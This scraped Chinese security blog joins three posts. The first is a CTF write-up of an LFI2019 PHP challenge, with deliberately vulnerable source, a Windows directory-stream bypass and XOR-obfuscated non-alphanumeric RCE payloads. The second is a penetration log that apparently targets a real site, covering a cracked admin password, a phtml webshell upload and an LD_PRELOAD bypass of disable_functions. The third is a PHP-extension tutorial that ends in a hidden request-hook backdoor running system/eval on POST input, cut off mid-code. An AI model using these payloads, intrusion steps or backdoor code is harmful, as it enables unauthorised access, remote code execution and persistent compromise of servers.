            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }

    // Triggering this is nearly impossible //
    class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }

    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    // XSS protection and hints ^-^ //
    header('X-Hint: /index.php?show-me-the-hint');
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block;');
    header('X-Content-Type-Options: nosniff');
    header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

    //header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
    //"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");

    // Hello, JSON! //
    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }
?>
<!doctype html>
<html>
<head>
    <meta charset=utf-8>
    <link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
    <link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
    <link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
    <title>LFI2019</title>
</head>
<body>
    <div class="modal fade" id="put-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">put2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="upload-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="upload-filename">
                    </div>
                    <div class="form-group">
                        <label for="upload-content" class="col-form-label">Content:</label>
                        <textarea class="form-control disabled" id="upload-content" rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="upload-submit">put();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="get-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">get2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="include-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="include-filename">
                    </div>
                    <div class="form-group">
                        <textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="include-submit">include();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="info-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                </div>
                <div class="modal-body">
                    <p>
                        Hi there! We introduce LFI2019 with another technique that never came out on CTFs. 
                        We want to end tedious LFI challenges starting from this year.
                        Traps are everywhere, so be warned. Good Luck!
                    </p>
                    <p>
                        .. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
                    </p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>
    <ul class="text hidden">
        <li>L</li>
        <li class="ghost">e</li>
        <li class="ghost">g</li>
        <li class="ghost">i</li>
        <li class="ghost">t</li>
        <li class="spaced">F</li>
        <li class="ghost">i</li>
        <li class="ghost">l</li>
        <li class="ghost">e</li>
        <li class="spaced">I</li>
        <li class="ghost">n</li>
        <li class="ghost">c</li>
        <li class="ghost">l</li>
        <li class="ghost">u</li>
        <li class="ghost">s</li>
        <li class="ghost">i</li>
        <li class="ghost">o</li>
        <li class="ghost">n</li>
        <li class="spaced">2019</li>
        <br>
        <br>
        <div class="hide" id="kawaii">
            <center>
                <button class="btn col-4 btn-success half" id="get">include</button>
                <button class="btn col-4 btn-warning" id="put">upload</button>
                <button class="btn col-3 btn-info" id="info">info</button>
                <p class="lightgrey">
                    Reference ID: <b class="ref"><?php echo $seed; ?></b>
                </p>
                Made with &hearts; by stypr.
            </center>
        </div>
    </ul>
    <script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU --> 

思路

当时看到这又丑又长的代码,大致浏览一遍,得到的信息是,flag在flag.php文件中,然后有很多很奇怪的功能,比如session,还有两个类,214-231是核心代码,主要说了有两种访问方式,一种传get,会实例化get类,另一种传put,会实例化put类
然后因为final,要不惜一切手段找攻击面(除了py),于是我另一边开了dirsearch去扫,下面是扫描结果(有伏笔
图片.png
为了做题,我沉下气仔细的看了一遍代码,发现


class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }
protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }

这些还有session的逻辑好像都没什么用处,还有最下面的YouTube注释,我还去看了一下==
而且前几行按道理应该输出phpinfo,并且我把代码放到本地搭建了一下,发现输出了phpinfo,但是远程就不行(伏笔
暂且没管,由于代码有很多闲杂功能,我挑一下核心代码

 <?php

   @require('flag.php');
   function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {

        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {

        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }
    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }

上面差不多就是核心代码了,具体审计就不讲了,大概说讲一下具体逻辑

put

put类可以进行写文件操作,文件名可控但是要经过path_sanitizer过滤,然后拼接写在files目录下,path_sanitizer函数会过滤. (重要) 所以写php,分布式配置等含.的文件都别想了,只能写普通文件,然后写的内容也可控,但是要过这个正则

preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code)

差不多就是put类的大概意思

get

get类可以进行文件读取,并且在最后面有个include操作,所以猜侧具体思路是写普通文件,然后用include包含执行,刚好满足题目意思,
首先传入的文件名也可控,但是也要经过path_sanitizer函数过滤,并且也会在前面自动拼接./files/,所以肯定是先写到files文件夹,然后包含之。然而最麻烦的过滤在上面核心代码的66-72行,如下

<?php
function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}

path_sanitizer函数根据第二个参数有两种过滤模式,第二个参数为假或者默认,就主要是过滤.,并且是匹配到直接报错(简称过滤A) ,但如果第二个参数为真则在过滤A的基础上还会把正反斜杠替换为空(过滤B)。
而上面几行代码的逻辑是传入的文件名字符串,经过两种过滤方式输出的文件名和文件内容都必须不一样,否者就直接返回了,这段代码通过后就会include $this->filename,所以我们只要绕过这个if判断就可以包含了

绕过过滤(失败尝试1

一开始我想用反斜杠来绕过,因为linux下可以用反斜杠做文件名
图片.png
先put一个含的文件名比如evoA233,当我们get传入文件名 为evoA233,
过滤A会返回evoA233,过滤B会evoA233,两者文件名不一样,文件内容也不一样(其中一个文件不存在内容为空)。就可以成功包含了。
但是我打的时候一直不成功,无奈本地搭建了一下,然后发现本地是可以打通的
由于最终包含的是过滤A返回的,也就是最终包含的是evoA233
图片.png
图片.png
Nope是文件内容被替换的结果,include直接打印了出来
但是远程服务器一直不成功,陷入困境

突然发现不得了的事情

思考了一下,还记得之前的dirsearch的扫描吗,扫出来有个INDEX.PHP和index.PHP,并且内容都是一样的
图片.png
正常来说,linux文件系统是分大小写的,访问这两个文件肯定是404的,但是!Windows系统是不分文件名大小写的,所以大胆猜测,这是一个windows环境
而对于windows,文件名是不能含有的,会自动被替换成/被当作路径,也就是我们不能通过上面的反斜杠文件名来绕过
这时旁边贾师傅说,“如果能创目录就好了,创个xxx目录,然后往目录写个aaa文件,内容是payload,访问xxx/aaa就可以成功包含了”,

Windows特性 & 解决方法

但是可惜的是,file_put_contents不能创目录
但是!windows有磁盘流方法创目录啊
图片.png
https://www.cnblogs.com/hookjoy/p/6579646.html
如果环境是windows,当我们file_put_contents的文件名是syc233::$INDEX_ALLOCATION的时候,当前文件夹下就会生成一个syc233的文件夹,然后用put类往这个文件下写一个evoa文件,就可以绕过成功包含了。

图片.png
图片.png
图片.png远程服务器上终于成功了,接下来就是撰写文件内容payload了

无字母数字rce payload

写文件操作,文件内容要通过下面的正则

<?php
preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
?>

对于无字母数字payload已经考了很多次,可以发现^这个万金油没有被过滤,于是可以用^来绕过,
由于php7和php5的无字母数字rce payload不一致,但是此时我不能判断服务器的php版本,而且很奇怪的是phpinfo写在了源码却没有输出,这时候我本来是想去咨询出题人的,但是我发现
源码第12行
$seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));
官网的资料显示

图片.png
只有php7以后才可以用PHP_INT_MIN这个变量,所以大胆猜测环境是php7

然后就可以通过 ^ 符号构造字符串"phpinfo"然后()执行即可,但是我们可用的只有<>!@#$%^&*_?+.-\'"=()[];这些符号。我写了一个脚本来获取这些字符相互异或能得到的其他字符

dicc = "<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

图片.png
这些符号相互异或得到的字符有限,如上报错,字典里没有o,所以我们要多创造一些字符
然而,$ _ !这三个符号没有被过滤,我们可以用这三个符号创造数字<br />$ == null
!$_ == true<br />!$
+ !$_==2<br />然而,字符和纯数字异或得不到字符串,我们必须把数字 变成 数字字符串<br />[https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md](https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md)<br />trim函数可以把数字变成字符串<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189017751-9641db20-f79b-461d-9684-564a1c119d62.png#align=left&display=inline&height=51&name=%E5%9B%BE%E7%89%87.png&originHeight=102&originWidth=1186&size=65806&status=done&width=593)<br />很巧的是,trim这4个字母,上面的字符恰好可以生成<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189102294-894f040a-d390-4b0a-b654-e0895bce53b9.png#align=left&display=inline&height=38&name=%E5%9B%BE%E7%89%87.png&originHeight=76&originWidth=1274&size=28159&status=done&width=637)<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189116411-6a76d0cc-020b-489e-be05-c4feb452c9c4.png#align=left&display=inline&height=52&name=%E5%9B%BE%E7%89%87.png&originHeight=104&originWidth=1708&size=73225&status=done&width=854)使用$__=("\"^"(").("\"^".").(")"^"@").("-"^"@");$__($_);就可以生成字符1234567890了。
图片.png
再把1234567890加入脚本的字典里

dicc = "0123456789<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

我们可以生成o字符了,然后payload就用php短标签,最终生成phpinfo() exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_)).("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_+!$_)).("\\"^$__(!$_+!$_)).(";"^"]").("\\"^$__(!$_+!$_+!$_)))();?>

但是并没有解析成功打印。于是我大胆的猜测!
服务端把phpinfo加入disable_functions里了
其实说得过去,要不然为什么首页不打印phpinfo
那既然开启了disable_function,rce函数也不想了,肯定也被ban了,而且php7.1以上assert也变成语法结构了,该怎么轻松rce拿flag,
虽然我们字典扩充了0123456789,但是baodian里还是无法生成.字符_字符$字符,主要生成的是英文字母,所以最终我选择了readfile(next(getallheaders()))动态调用
最终构造好的exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("\\"^".").(";"^"^").("\\"^"=").(";"^"_").(";"^"]").("\\"^$__(!@$_+!@$_+!@$_+!@$_+!@$_)).("\\"^$__(!@$_-!@$_)).(";"^"^"))((("\\"^$__(!@$_+!@$_)).(";"^"^").("\\"^"$").("\\"^"("))((((";"^"\\").(";"^"^").("\\"^"(").("\\"^"=").("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_+!@$_+!@$_+!@$_)).(";"^"^").("\\"^"=").(";"^"_").(";"^"^").("\\"^".").("]"^"."))())))?>

由于windows的问题,next(getallheaders())取的是Connection 头
图片.png
图片.png
图片.png

终于拿到flag了,还是一血,有点开心,可能这就是CTF的魅力吧

后话

感谢赛宁和r3kapig团队,很完美的一场比赛,质量很高的一场比赛,学到了很多,也认清了自己的菜(QAQ)

- Read More -
渗透

信息收集

image.png
发现
.project文件 sql目录遍历 uploads目录遍历 phpmyadmin泄露 superadmin 目录(phpmywind)泄露 include目录遍历

获取到管理员密码

首先看sql目录
image.png
下载后发现是sql的导出文件,有php版本 phpstudy 查看一些信息发现
image.png
somd5解出来密码是rock1980

登陆phpMyadmin

尝试admin rock1980登陆phpwind phpmyadmin未果,用root rock1980登陆phpmyadmin,成功登陆
image.png
secure_file_priv设置为NULL,写日志文件又不知道web绝对路径写不了shell,陷入沉思

登陆phpMyWind

沉思的时候翻数据库
找了一下发现另一个admin表,怀疑是phpmywind的管理员表,md5解不出,自己加了一个用户进去test/testtesttestaaa,登陆成功
image.png
image.png

一个任意文件读取

发现是低版本phpmywind 5.3 可以后台任意文件读取 结合之前的include路径遍历,可以读取一些敏感信息
https://www.0dayhack.com/post-764.html
image.png
image.png

GetShell

看了一下功能,发现后台可以改允许上传文件后缀,修改php上传php发现貌似被waf拦了,改为phtml上传成功
image.png
image.png
image.png
连上马

image.png
然后发现有disable_function无法执行系统命令,但是没有禁用putenv和mail
image.png
于是用mail + sendmail绕过
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
phpinfo发现是centos 64位
于是上传64 位的so文件,配合php,成功执行系统命令
下面执行了ifconfig

image.png
centos系统内核比较老,可能可以提权,但怕搞坏机器就没继续了,内网也很大,可能可以漫游,不过还是要先提权,就止步于此了

- Read More -
安全研究

前言

继续分析一些拓展中常见的函数和方法和技巧

phpize

内容来自:https://blog.csdn.net/weixin_38674371/article/details/84714696

应用场景

在使用php的过程中,我们常常需要去添加一些PHP扩展库。但是重新对php进行编译是比较蛮烦的,所以这时候我们可以使用phpize对php进行添加扩展。并且phpize编译的扩展库可以随时启用或停用,比较灵活。

使用方法

extention为要挂载的扩展包

wget extension.tar.gz        #下载相应的扩展包并解压。
cd extension/                        #切换到扩展extension的目录中
/php/bin/phpize                 #运行php安装目录下的phpize文件,这时候会在extension目录下生成相应的configure文件。
/configure --with-php-config=/php/bin/php-config         #运行配置,如果你的服务器上只是装了一个版本的php则不需要添加--with-php-config 。后面的参数只是为了告诉phpize要建立基于哪个版本的扩展。
make && make install         #编译模块
#编译好模块之后,需要让php启用它。在php.ini文件中加入把extension.so开启即可。重启php服务。

作用

其实phpize是一个运行脚本,主要作用是检测php的环境还有就是在特定的目录生成相应的configure文件,这样make install之后,生成的.so文件才会自动加载到php扩展目录下面。

除了phpize安装php拓展,还有一个叫 PECL 的php拓展管理工具http://pecl.php.net/
没用过,先鸽这- -

获取php中函数的参数

之前写的拓展函数在php中是无参函数,如果想写一个含参函数,拓展中肯定有对应API来获取传入参数

zend_parse_parameters

定义

大部分php拓展都会使用这个API获取传入参数
zend_parse_parameters(int num_args TSRMLS_DC, char *type_spec, &参数1,&参数2…);
第一个参数是传递给函数的参数个数。通常的做法是使用ZEND_NUM_ARGS()。(ZEND_NUM_ARGS() 来表示对传入的参数“有多少要多少”)这是一个表示传递给函数参数总个数的宏。
第二个参数是为了线程安全,总是传递TSRMLS_CC宏。
第三个参数是一个字符串,指定了函数期望的参数类型,后面紧跟着需要随参数值更新的变量列表。由于PHP是弱类型语言,采用松散的变量定义和动态的类型判断,而c语言是强类型的,而zend_parse_parameters()就是为了把不同类型的参数转化为期望的类型。(当实际的值无法强制转成期望的类型的时候,会发出一个警告)
第四第五直到第n个参数,都是要传进来的值的数值。
注意: 第一个参数和第二个参数之间是空格没有逗号,所以我觉得严格意义上来说应该算一个参数只是两个不同的宏

参数三

对于第三个参数,有以下表格对应

类型指定符对应的C类型描述
llong符号整数
ddouble浮点数
schar *, int二进制字符串,长度
bzend_bool布尔值(1或0)
rzval *资源(文件指针,数据库连接等)
azval *联合数组
ozval *任何类型的对象
Ozval *指定类型的对象。需要提供目标对象的类类型
zzval *无任何操作的zval

举个例子
如果你希望传进来的参数为整数,你可以这么写

zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l",&param);

然后参数就会被赋值到变量param(long 类型)上,有一点点类似C的scanf

注意

这里需要注意,如果希望传入参数为字符串,需要用到s,但是s对应的有两个c变量
这是API的规定,如果需要传入类型字符串的话,即使PHP函数中只传入了一个参数,那么C里面需要用两个C变量去获取,一个获取字符串的值,一个获取字符串的长度

上面的表格提到了zval,通俗易懂的讲,zval代表了一个php变量,是一个php变量的底层模型,实际上是一个联合体。所有的PHP语言中的复合类型参数都需要zval*类型来作为载体,因为它们都是内核自定义的一些数据结构。


如果我们想写一个如下功能的拓展

<?php
function my_function($msg) {
    echo "输出:{$msg}!\n";
}
my_function('<svg/onload=alert(1)>');

在拓展里可以这么写

//PHP_FUNCTION 第一次宏展开后就是ZEND_FUNCTION
//所以PHP_FUNCTION ZEND_FUNCTION几乎是一样的
ZEND_FUNCTION(my_function) {
    char *msg;
    int msg_len;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s",&msg, &msg_len) == FAILURE){
        RETURN_NULL();
    }
    php_printf("输出:");
    PHPWRITE(msg, msg_len);
    php_printf("!\n");
}

PHPWRITE 顾名思义,看demo就懂了

对于第三个参数,还有一些拓展用法

符号解释
|它之前的参数都是必须的,之后的都是非必须的,也就是有默认值的。
!如果接收了一个PHP语言里的null变量,则直接把其转成C语言里的NULL,而不是封装成IS_NULL类型的zval。
/如果传递过来的变量与别的变量共用一个zval,而且不是引用,则进行强制分离,新的zval的is_refgc==0, and refcountgc==1.

具体就不做太多介绍了,看个例子就好

<?php
function sample_hello_world($name, $greeting='Mr./Ms.') {
    echo "Hello $greeting $name!\n";
}
sample_hello_world('Ginger Rogers','Ms.');
sample_hello_world('Fred Astaire');
ZEND_FUNCTION(sample_hello_world) {
    char *name;
    int name_len;
    char *greeting = "Mr./Mrs.";
    int greeting_len = sizeof("Mr./Mrs.") - 1;
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|s",
      &name, &name_len, &greeting, &greeting_len) == FAILURE) {
        RETURN_NULL();
    }
    php_printf("Hello ");
    PHPWRITE(greeting, greeting_len);
    php_printf(" ");
    PHPWRITE(name, name_len);
    php_printf("!\n");
}

zend_get_arguments

ZEND_FUNCTION(my_function) {
    zval *email;
    if (zend_get_parameters(ZEND_NUM_ARGS(), 1, &email)== FAILURE) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING,"至少需要一个参数");
        RETURN_NULL();
    }
    // ... 
}

区别与特点

  1. 能够兼容老版本的PHP,并且只以zval为载体来接收参数。
  2. 直接获取,而不做解析,不会进行类型转换,所有的参数在扩展实现中的载体都需要是zval类型的。
  3. 接受失败的时候,不会自己抛出错误,也不能方便的处理有默认值的参数。
  4. 会自动的把所有符合copy-on-write的zval进行强制分离,生成一个崭新的copy送到函数内部。

这个函数用的比较少,了解下即可

zend_get_parameters_ex

ZEND_FUNCTION(my_function) {
    zval **msg;
    if (zend_get_parameters_ex(1, &msg) == FAILURE) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING,"至少需要一个参数");
        RETURN_NULL();
    }
    // ...
}

这个函数跟上面的zend_get_arguments差不太多,只是把所有参数都填到了一个zval数组中,而不需要考虑参数数量,同样了解一下就可以了

zend_get_parameters_array_ex()和zend_get_parameters_array()

//程序首先获取参数数量,然后通过safe_emalloc函数申请了相应大小的内存来存放这些zval**类型的参数。这里使用了zend_get_parameters_array_ex()函数来把传递给函数的参数填充到args中。 
//这个参数专门用于解决像php里面的var_dump的一样,可以无限传参数进去的函数的实现
ZEND_FUNCTION(var_dump) {
    int i, argc = ZEND_NUM_ARGS();
    zval ***args;
    args = (zval ***)safe_emalloc(argc, sizeof(zval **), 0);
    if (ZEND_NUM_ARGS() == 0 || zend_get_parameters_array_ex(argc, args) == FAILURE) {
        efree(args);
        WRONG_PARAM_COUNT;
    }
    for (i=0; i<argc; i++) {
        php_var_dump(args[i], 1 TSRMLS_CC);
    }
    efree(args);
}
  1. 用于应对无限参数的扩展函数的实现。
  2. zend_get_parameters_array与zend_get_parameters_array_ex唯一不同的是它将zval*类型的参数填充到args中,并且需要ZEND_NUM_ARGS()作为参数。

当遇到确实需要处理无限参数的时候,这个函数用的会比较多

获取url参数

zend_hash_str_find

pmarkdown就是获取了url参数,然后拼接到字符串中发起网络请求。
找这个功能找了好久好久,终于给我找到了,找到了还不能直接运行,还要看报错改....
看demo

PHP_FUNCTION(evoA_get)
{
    zval * password;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    password = zend_hash_str_find(get_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}

原理就不了解了,懒得了解了,魔改demo就行了,获取GET的宏为TRACK_VARS_GET,同理POST的宏为TRACK_VARS_POST
其他的宏在/main/php_globals.h 源码包里面都有定义

PHP_FUNCTION(evoA_post)
{
    zval * password;
    zval * post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}

注意新建自定义函数要去上一篇提到的的zend_function_entry 结构体声明函数名
然后把拓展挂载到php.ini
php -S 0.0.0.0:8080

图片.png

图片.png
A.php的内容是一句话木马,密码A。
对于$_ENV $_SERVER这两个超全局变量,貌似默认不存在http_globals数组中,如果需要在扩展中引用,可以参考这篇文章https://blog.csdn.net/linkaisheng101990/article/details/46380673
具体原理就是使用zend_is_auto_global函数,把上面两个变量导入到http_globals全局数组中,再通过上面获取GET,POST那样用相应的宏去获取。
累了,不试了,等有时间再研究研究

逆向

图片.png
没什么好解释的,对比下上面源码

zend_hash_find

当我回去看pmarkdown那道题的时候,发现题目中获取url参数的方法是zend_hash_find而不是zend_hash_find_str
所以我觉得,还是要用zend_hash_find API 获取url参数,这个知识点才能过

贴一个zend API小总结
https://www.jianshu.com/p/32fdad9be6c8
由于网上实在找不到demo,唯一几个demo都是基于php5的,参数数量不对,php7的参数数量应该是两个
根据API,我自己写了个根据zend_hash_find获取url参数的方法

// 根据 char * 作为 key 查找数组
zval* zend_hash_str_find(HashTable *ht, char *str, size_t len);  

// 根据 zend_string * 作为 key 查找数组
zval* zend_hash_find(HashTable *ht, zend_string *key);  

// 格式化成 zend_string *, 使用完记得 zend_string_release
zend_string *strpprintf(size_t max_len, const char *format, ...);

----------------------------
PHP_FUNCTION(evoA_hash_get){
    char * urlstr="pass";
    size_t len;
    zval * value;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    
    zend_string * zendstr;
    zendstr = strpprintf((size_t)strlen(urlstr),urlstr);
    value = zend_hash_find(get_hash, zendstr);
    if (value != 0) {
            php_printf("Hash_find_str: %s", Z_STRVAL_P(value));
        }
}

所以用zend_hash_find,只需要把字符串通过strpprintf API格式化为zend_string传入就行了
图片.png

逆向

跟上面没什么区别。。。
图片.png
感觉有些东西还是需要动调,之后弄个动调的教程

写个后门?

既然是后门,肯定不能用自定义函数写,必须写在之前讲的PHP_RINIT_FUNCTION 函数中

PHP_RINIT_FUNCTION(evoA)
{
#if defined(COMPILE_DL_EVOA) && defined(ZTS)
    ZEND_TSRMLS_CACHE_UPDATE();
#endif
    zval * action;
    zval * code;
    zval * post_arr;
    char * action_str =NULL;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    
    //获取url action参数
    action = zend_hash_str_find(post_hash, "action", strlen("action"));
    
      //把zval转换为char*
    action_str = Z_STRVAL_P(action);
    
      //如果是system,执行system函数
    if (strncmp(action_str,"system",6) == 0) {
        code = zend_hash_str_find(post_hash, "code", strlen("code"));
        system(Z_STRVAL_P(code));
    }
    
      //如果是eval执行eval函数
    else if(strncmp(action_str,"eval",4) == 0){
    code = zend_hash_str_find(post_hash, "code", strlen("code"));
